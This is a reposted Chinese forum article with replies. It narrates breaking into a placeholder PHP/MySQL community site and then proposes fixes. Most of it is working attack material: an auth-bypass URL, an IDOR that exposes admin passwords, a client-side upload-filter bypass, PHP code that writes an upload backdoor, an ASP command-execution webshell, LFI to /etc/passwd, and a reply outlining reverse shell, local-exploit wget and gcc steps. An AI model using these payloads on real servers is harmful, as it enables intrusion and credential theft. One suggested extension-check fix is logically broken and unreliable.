一次虚拟的安全检测及修复方法

苦逼热狗

路边通讯社社长
VIP
注册
2002-10-12
消息
47,114
荣誉分数
2,376
声望点数
393
作者:Torune
Email:torune@21cn.com
个人主页:http://torune.hundun.org
小组主页:http://www.c4st.cn/
本文所有内容未经本人允许不得转载。

----------------------------------------------------------------------
声明:
本文主要是以教育为目的,请勿利用文中提及的内容做任何违法行为,否则后果自负。

写在前面的话:每过一段时间,写一些文章来给自己做一次简单的总结,其实是一件不错的事情。本文就是在这个前提之下才诞生的。不过笔者对PHP还是不太了解,文章中如果有错误的话,请与我联系: torune@21cn.com

前些日子在一个规模比较大的网络社区呆了一段时间,对它的安全性产生了一些兴趣。
首先,笔者所做的是收集一些系统资料,我们可以使用Nmap来对远程主机进行操作系统以及开放端口的一些资料收集。

X:\Attack\nmap>Nmap -sS -O -vv www.fakesite.com //使用SYN方式对其进行端口扫描
返回的资料很多,主要开放的端口是80,3306,并且远程为Windows 2000 Server操作系统。
因此可以确定对方管理员是使用PHP+MYSQL假设该网站。(似乎他还选择了Apache)

以下为该网站的主要框架:
pic0.jpg


让我们继续获取系统资料,而论坛则是个获取资料的好地方
它所有帖子的浏览地址均为http://www.fakesite.com/forum/guest_book.php?user_number=ID号
由于该论坛的程序编写方面存在一些问题,没有对ID号进行限制。
因此我在IE浏览器中输入http://www.fakesite.com/forum/guest_book.php?user_number=99
在试图连接ID号为99的论坛时,该论坛的代码发生了错误。
IE浏览器返回以下内容:
-------------------------------------------
Warning: Supplied argument is not a valid MySQL result resource in
d:\home\fakesite.com\forum\guest_book.php on line 300
-------------------------------------------
从上面的内容我们得知了远程主页的的绝对路径。

根据上面的这些信息,再加上现在很多网站都不是自己开发论坛或者聊天室等等,而是使用一些免费代码,此时我的鼻子似乎闻到了一点点漏洞的味道。
果然,在论坛的帮助文件中,我得知了该论坛的真实名称--Demon Board。

下面要做的就是收集到该论坛的原代码。Google.com就是一个不错的选择,不到一会儿我就得到了一个可用的下载地址,不过似乎是是个修订版。
不过从该修订版的说明文件来看,修订作者似乎没有对该论坛的代码做多大的改写。( 这也为漏洞的发现提供了强有力的支持:P

下载完程序代码后,我做的第一件事就是查看管理区是否存在安全问题。
管理区的登陆口是admin.php文件,而核心设置区的文件为manage_setup.php(通过该文件能够修改管理员的帐号和密码)

以下为这两个文件的主要代码:
管理区登陆页面(admin.php)

----------------------代码开始----------------------
@session_start();
include("./lib/lib_mysql.php");
include("./lib/lib.php");
require "./lib/setup.php";
if($submit)
{
if($username!=$super_id||$pwd!=$super_pwd)
{
error("用户名或密码错误");
}else
{
$pass='OK';
session_register("pass");
succ($username.',您的身份已经确认!请稍候,正在进入论坛管理页面! ','guest_class_admin.php');
}
}
----------------------代码结束----------------------

核心设置区(manage_setup.php)

----------------------代码开始----------------------
@session_start();
include('./lib/lib.php');
if(empty($pass))
{
echo "****** http-equiv='refresh' content='0;url=./admin.php'>";
exit;
}
----------------------代码结束----------------------

以下为那两个程序的工作流程图:

###################工作流程图(1)######################
pic1.jpg

###################工作流程图(2)######################
pic2.jpg


从上面这个流程示意图来看,该论坛的作者还有蛮有心计的,利用session来管理用户的登陆,而不是COOKIE。
从而从一定程度上防止了由于程序设计,而带来的跨站攻击
(当然这只是一小部分,用户名和密码是不会被截取到,而如果有人扩展了跨站攻击的话,例如利用IE的各种问题,给浏览该论坛的用户种植键盘记录器,甚至木马。那么后果就不堪设想了。当然这也只是个人设想,而且那些内容又涉及到其他方面的问题,本人在这里就不多说了。)
然而,这样的流程和程序设计也是存在有很大缺陷的。
是的,admin.php的安全设置完全正确,我们无法跳过发送完表格以后的那些限制。
但是manage_setup.php这个就不一定了。首先他没有对$pass做申明,因此我们只要为pass提交一个值,例如ok。就可以满足上面那个简单的认证,而获得到该页面的所有内容。
其利用方法为:
在IE浏览器中查看http://url/manage_setup.php?pass=ok
这样,我们就成功的对$pass做了个申明,使$pass=ok,而empty($pass)由于$pass=ok而满足不了条件,因此我们就成功地跳过了该程序开始的那个 if 函数的设置。

让我们继续分析manage_setup.php这个文件。
在代码中,我们可以看到有这么一段代码

----------------------代码开始----------------------
**** bgcolor="#E8E8E8">
**** align=right width="26%">管理者:******>
**** colspan="3">
<input type="text" name="id" value="<? echo $super_id ?>" size="10" style="BACKGROUND-COLOR: lightyellow; BORDER-BOTTOM: black 1px solid; BORDER-LEFT: black 1px solid; BORDER-RIGHT: black 1px solid; BORDER-TOP: black 1px solid">
******>
******>
**** bgcolor="#E8E8E8">
**** align=right width="26%">管理者密码:******>
**** colspan="3">
<input type="text" name="pwd" value="<? echo $super_pwd ?>" size="10" style="BACKGROUND-COLOR: lightyellow; BORDER-BOTTOM: black 1px solid; BORDER-LEFT: black 1px solid; BORDER-RIGHT: black 1px solid; BORDER-TOP: black 1px solid">
******>
******>
----------------------代码结束----------------------

大家都应该认为这段代码没问题吧。是的,理论上他是没有任何问题的,但是由于在开头作者使用了$fp= fopen("./lib/setup.php","w+");这段代码,读取了setup.php里面的数据。
这样使得后面的<? echo $super_id ?>以及<? echo $super_pwd ?>将会直接显示出manage/lib/setup.php里面所包含的管理员的登陆帐号和密码
。就这样,由于论坛的作者在程序设计方面的想法还不够严密,从而导致该论坛管理员的用户名和密码落到了非法提交者的手中,从一定程度上构成了对该论坛数据的严重威胁。

(BTW:有时候,有些管理员由于懒惰,而往往把自己邮箱,数据库,甚至服务器的用户名和密码均设置成相同的,或者类似的。
例如:有个管理员的邮箱密码为whoami,而服务器密码往往会是whoami或者whoami123之类。
如果有个恶意用户通过非法途径获得了该管理员的1个密码,他往往可以通过这个密码,进而获得更大的权限。)

顺便要提一下的是,Demon Board在文章处理方面还存在着严重的安全漏洞。由于在处理人员登陆验证方面时缺乏完整性,导致非法人员通过构造一个特殊的请求,可以对该论坛的任何人员发表过的帖子进行处理,从而危害了该论坛所有用户的正常利益。
测试方法:在新窗口中打开帖子修改,然后在该URL后面添加&username="用户名"&pwd="密码"&submit="确定",只要把用户名和密码替换成任何一个正确的用户资料,然后发送就可以了进入帖子修改页面。

有问题的代码如下:

----------------------代码开始----------------------
if($submit)
{
$pwd=base64_encode($pwd);
$user_search_query=mysql_query("select * from user_info where username='$username' and password='$pwd'");
if(mysql_num_rows($user_search_query)==0)
{
error('您还未注册或者用户名和密码错误!');
}else
{
$guest_edit_pass=1;
}
}
----------------------代码结束----------------------
作者只是简简单单的对用户名和密码做验证,而忽略了该用户是否是原发帖人的验证。从而导致了该安全问题的存在。

分析完论坛后,我开始从聊天室入手。
先注册个名为Torune的用户,填写完一切需要的东西后。再最后返回的一页中我看到了1个链接。
通过那个链接我们可以修改我们自己的个人资料和密码,而此时引起我注意的是IE浏览器上面的地址。
该地址为:
http://www.fakesite.com/chat/users/modify.php?user=Torune

进入该页面后,我发现这个modify.php文件犯了和刚才那个manage_setup.php同一样的错误,直接把密码,取回密码的问题和答案直接显示出来了。
而当我把user=后面的名字改为管理员的时候,IE浏览器返回的居然是那个管理员的密码等重要资料。
一个重要的安全隐患又再次出现。在参考其他PHP+MYSQL格式的聊天室后,我推断modify.php的原代码应该是这样的:
----------------------代码开始----------------------
******><head>
****** http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>修改个人资料</title>
******>
<?php
if($user=="")
{echo "用户资料修改失败";}
else
{
require "关于MYSQL连接的设置文件";
$uinfos=$DB_site->query("SELECT username,password,email,question,answer,comment FROM user where username='".$user."'");
if(!$info=$DB_site->fetch_array($infos))
{
echo "没有找到指定的用户资料。";
exit;
}
else{/*用户资料修改页面的内容,代码省略....*/}
}?>
********>********>
----------------------代码结束----------------------

也许我推断的代码是错误的,但是该聊天室的作者只是简简单单地通过对用户名的处理,而不加一任何登陆验证,这一个重要的安全隐患却不容我们忽视。还有安全问题的地方就是聊天室方面还存在有Javascript代码限制不完善等问题。(具体方面的内容,大家可以查阅关于聊天室穿墙方面的文章,这里就不多讲了)由于无法得到程序原代码,我在这里就不继续对该聊天室继续分析了,不过能得到任何的密码,已经能够对正常用户构成了很大的威胁了。

好了,现在让我们再看看该网站的其他方面是否也存在安全问题。该网站这段时间,提供给网友每人10M的空间,用来给各位网友做个人主页。
就让我们来看看这个上传系统是否有问题,注册了个叫Torune的帐号,登陆上传页面。虽然是限制了鼠标右键,并且是小窗口,不过这一切都是无法隐藏上传页面的原代码的。果然,又一个安全隐患出现,该漏洞可以导致用户可以上传任意文件。
出现问题的代码如下:
----------------------代码开始----------------------
function Checkvalue(the){
var yes=true;
if( the.username.value=="" || the.password.value=="" || the.primarykey.value==""){
alert("表单中标示 * 的项目必须填写完整 !");
yes=false;
}
var fileext=the.primarykey.value.substring(the.primarykey.value.length-4,the.primarykey.value.length)
fileext=fileext.toLowerCase()
if (!(fileext=='.htm' || fileext=='.html' || fileext=='.gif'|| fileext=='.jpg'|| fileext=='.js'|| fileext=='.css'))
{alert("对不起,不正确的文件后缀,必须为.htm,.html,.gif,.jpg,.js或.css !");
the.primarykey.focus();
yes=false;
}
return yes;
}
----------------------代码结束----------------------
管理员他只使用javascript对上传的文件做限制,而没有从PHP代码下进行限制。
我们只需要把那个网页当到本地后,修改原代码中的if (!(fileext=='.htm' || fileext=='.html' || fileext=='.gif' || fileext=='.jpg' || fileext=='.js' || fileext=='.css')) ,
将它修改成 if (!(fileext=='.htm' || fileext=='.html' || fileext=='.gif' || fileext=='.jpg' || fileext=='.js' || fileext=='.css' || fileext=='.php' || fileext=='.asp'))
并且修改FORM里头action的地址为http://www.fakesite.com/homepage/user/upload.php
这样,我们就把这个简单的限制突破了,接下来我们就可以随意上传webshell了。

我首先上传了一个PHP文件,用来刺探主机信息。代码很简单
----------------------代码开始----------------------
<?
phpinfo();
?>
----------------------代码结束----------------------
在IE浏览器返回的资料中,我们很成功的收集到一些重要资料,例如

_SERVER["PATH_TRANSLATED"] F:\\www\\home\\homepage\\torune\\phpinfo.php //这个就是我这个程序在对方主机上面的物理位置
_SERVER["APPL_PHYSICAL_PATH"] F:\\www\\ //这个就是对方网站在其主机上面的物理位置

因此我有上传了这个PHP程序,以方便以后上传文件。
----------------------代码开始----------------------
<?if ($submit) {
copy($File,"f:/www/home/homepage/torune/$File_name");
unlink($File);
header("Location: upload.php");
} else { ?>
******><HEAD>
<TITLE>Upload</TITLE>
</HEAD>
******>
*******>
<FORM ENCTYPE="multipart/form-data" ACTION="<?php echo $PHP_SELF?> " METHOD="POST">
****>****>File:******>****><INPUT NAME="File" TYPE="File">
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="100000"><INPUT NAME="submit" VALUE=" OK " TYPE="submit">
******>******>
</form>
*********>********>********>
<?}?>
----------------------代码结束----------------------

正当我选择好文件,发送出去的时候,突然IE返回错误的信息。提示我,POST这个功能在这个主机上已经被管理员设置为禁止。
既然我们可以使用PHP,那么只要利用PHP的部分功能,就完全能够跳过各种限制。我把代码改写为:
----------------------代码开始----------------------
<?
$fp=fopen("f:/www/images/upload.php","w"); //为了安全期间,我把将来上传文件的目录指定为images目录。
$comment='<?if ($submit) {
copy($File,"f:/www/images/$File_name");
unlink($File);
header("Location: upload.php");
} else { ?>
******><HEAD>
<TITLE>Upload</TITLE>
</HEAD>
******>
*******>
<FORM ENCTYPE="multipart/form-data" ACTION="<?php echo $PHP_SELF?> " METHOD="POST">
****>****>File:******>****><INPUT NAME="File" TYPE="File">
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="100000"><INPUT NAME="submit" VALUE=" OK " TYPE="submit">
******>******>
</form>
*********>********>********>
<?}?>
';
fwrite($fp,$comment);
fclose($fp);
?>
----------------------代码结束----------------------

将上面的代码上传到我的目录中,并且通过IE浏览该文件,此时该文件自动在f:/www/images/目录下生成一个叫做upload.php的文件。(至于为什么会生成这个文件呢,如果该系统是*nix的话,除非images目录的权限设置是777,否则我们是无法生成该文件的。然而,该远程主机的操作系统为Windows2000,除非管理员通过NTFS的特性对每个目录做十分严格的限制,否则我们的这段代码将会自动生成那个文件的。也正是由于远程主机是Windows,我们就可以不必估计有777权限设置这一说了。
通过IE浏览器连接http://www.fakesite.com/images/upload.php ,十分成功,看来管理员没有做精心的权限设置。接下来就是想办法取得服务器的管理权限了。[/url]
由于IIS是默认支持ASP的,然而该网站却使用PHP+MYSQL,如果管理员忘记了删除ASP的支持的话,那么我们就可以使用以下代码:
----------------------代码开始----------------------
******>
<title>shell.application backdoor </title>
******>
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
路径:<input type=text name=text1 value="<%= szCMD1 %>">
程序:<input type=text name=text2 value="<%= szCMD2 %>">

<input type=submit name=sb value=发送命令>
</form>
********>
********>
<%
szCMD1 = Request.Form("text1") '执行程序要指定路径
szCMD2 = Request.Form("text2")
if szcmd1<>"" and szcmd2<>"" then
set shell=server.createobject("shell.application") '建立shell对象
shell.namespace(szcmd1).items.item(szcmd2).invokeverb
response.write "程序已经执行成功"
end if
%>
----------------------代码结束----------------------
光于此代码的相关解释或者想取得该程序的完整代码,请查看czy的帖子。
利用这个ASP程序,我们就可以任意运行各种程序,当然,取得服务器的最高权限也不在话下了。
至于取得权限的方法,本人在这里也不多说了,网上此类提高用户权限的程序有许多。

顺便提一下的是:
<?passthru($file);?> //这段代码在*nix中,可以直接调用系统命令,例如id, ls -al /etc,cat /etc/passwd等等。(具体方法请查看Linux操作指南)
<?include $file; ?> //这个只要提交
http://www.fakesite.com/homepage ... ../../../etc/passwd,IE浏览器返回的就会是该主机的密码文件。如果运气好的话,那个passwd文件没有被shadow的话,我们可以利用john the ripper来对其进行暴力破解。在Windows方面,如果提交file=c:\\boot.ini,也能显示那个文件的信息的。如果提交的file是c:\\winnt\\system32\cmd.exe这一类的可执行程序,那么IE浏览器上面将会显示出一堆乱码,而不是去执行那个程序。

就这样,这台服务器被非法用户利用管理员自己的失误得到的控制权。

以下内容为笔者的个人安全建议以及修复方法:

1。建议将论坛管理区的所有文件中的if(empty($pass))修改为
require "./lib/setup.php";
if(empty($pass)||$username!=$super_id||$pwd!=$super_pwd)

2。建议修改manage_setup.php的代码,取消管理员帐号和密码的显示。

3。建议在MYSQL中给所有论坛的用户添加1个userid项,并且在每个帖子中也加入userid这一项,如果修改者的userid等于帖子的userid,则继续修改工作,否则返回错误信息。

4,建议给聊天室的modify.php加入1个用户登陆验证。
----------------------代码开始----------------------
<? require "关于MYSQL连接的设置文件";?>
******><head>
****** http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>修改个人资料</title>
******>
<?php
if ($user=$DB_site->query("SELECT username,password,email,question,answer,comment FROM user WHERE username='".$user))."'")) {
if ($pass!=$password)) {echo "用户密码错误";exit;}
}
else
{
$uinfos=$DB_site->query("SELECT username,password,email,question,answer,comment FROM user where username='".$user."'");
if(!$info=$DB_site->fetch_array($infos))
{
echo "没有找到指定的用户资料。";
exit;
}
else{/*用户资料修改页面的内容,代码省略....*/}
}?>
********>********>
----------------------代码结束----------------------

5。建议修改个人主页的上传程序,在PHP文件内部做限制。
例如这样的后缀限制就比较不错
$extension=strtolower(substr(strrchr($upload[filename],"."),1));
if ($extension!='htm' || $extension!='html' || $extension!='gif' || $extension!='jpg' || $extension!='js' || $extension!='css') { echo "禁止上传的文件格式.";
exit;}

6。使用NTFS的特性来对各个目录进行细致的权限配置以达到防患于未然。具体方法可以参考Windows2000系统安全配置的相关书籍。

总结一下:从上面的内容来看,导致服务器出现安全危机的主要是管理员方面的问题,如果管理员愿意自己用点新开发一套网站系统。而不是依靠那些免费代码,我想上面的这些问题应该是可以避免的。做事要以心为主,不用心去做,做过的那些事情总会有那么一天让你后悔的。
 
应bye的要求发的

写得算凑或吧,当初靠它捞了400多的稿费,挺满足的

希望点评
 
btw:
Demon Board论坛在后台管理方面还有其他漏洞
由于论坛配置系统存在问题,可以无限制注入php代码,虽然是php+mysql
不过主配置文件却是保存在web,而且是777权限
对输入的值没有过滤
可以写webshell
 
现在哪有不shadow的passwd?
就算拿到了, 如果管理员也用那些程序检查弱口令的话, 你跑john the ripper再久也未必有用.
 
啊不
现在还能碰到不shadow的passwd那就是见鬼了
 
现在一般搞*nix
我也就那几个步骤
reverse 回来,有个基本的shell先
uname -a一下,看看版本
google一下,看看有没有对应的local overflow
然后wget一下,gcc
执行完后,该干嘛干嘛去
 
后退
顶部